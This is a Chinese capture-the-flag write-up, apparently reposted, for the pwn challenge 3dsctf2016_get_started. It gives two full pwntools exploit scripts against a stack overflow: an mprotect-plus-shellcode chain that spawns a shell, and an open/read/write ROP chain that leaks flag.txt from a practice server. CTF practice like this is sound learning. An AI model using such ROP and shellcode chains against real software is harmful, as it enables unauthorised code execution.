欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【pwn】 3dsctf2016_get_started

程序员文章站 2022-03-27 20:42:04
...

例行检查
【pwn】 3dsctf2016_get_startedfile一下,发现是静态连接的,还没有Pie。
【pwn】 3dsctf2016_get_started分析程序发现是简单栈溢出,还有一个get_flag函数?于是直接返回到get_flag函数执行,但是远程没有打通,然后试了下本地可以打通,然后猜测可能是远程环境部署错了,没有flag.txt文件?
然后试试别的方法。
由于是静态链接里面函数还是很多的。

1.mprotect,修改某地址为rwx,随后写入shellcode,然后getshell。

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
mprotect=0x806EC80 
pop3_ret=0x809e4c5
#pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
#op=0x806E0D0 
#write=0x806E1B0
#flag=0x80BC388

pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
#pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)+p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)+p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

然后发现。
【pwn】 3dsctf2016_get_started
远程环境里有flag.txt,那我就不懂了,不知道为什么之前远程打不通(我太菜了)

2.orw也可以

from pwn import *

io=remote('node3.buuoj.cn', 26518)
#io=process('./pwn')
#mprotect=0x806EC80 
pop3_ret=0x809e4c5
pop2_ret=0x806fc31
bss=0x80EC000 
read=0x806E140
op=0x806E0D0 
write=0x806E1B0
flag=0x80BC388

#pl='a'*0x38+p32(mprotect)+p32(pop3_ret)+p32(bss)+p32(0x1000)+p32(7)
#pl+=p32(read)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
pl='a'*0x38+p32(op)+p32(pop2_ret)+p32(flag)+p32(0)
pl+=p32(read)+p32(pop3_ret)+p32(3)+p32(bss)+p32(64)
pl+=p32(write)+'dead'+p32(1)+p32(bss)+p32(64)

io.sendline(pl)

#shellcode=asm(shellcraft.sh())
#io.sendline(shellcode)

io.interactive()

【pwn】 3dsctf2016_get_started
所以是为啥呢。

相关标签: pwn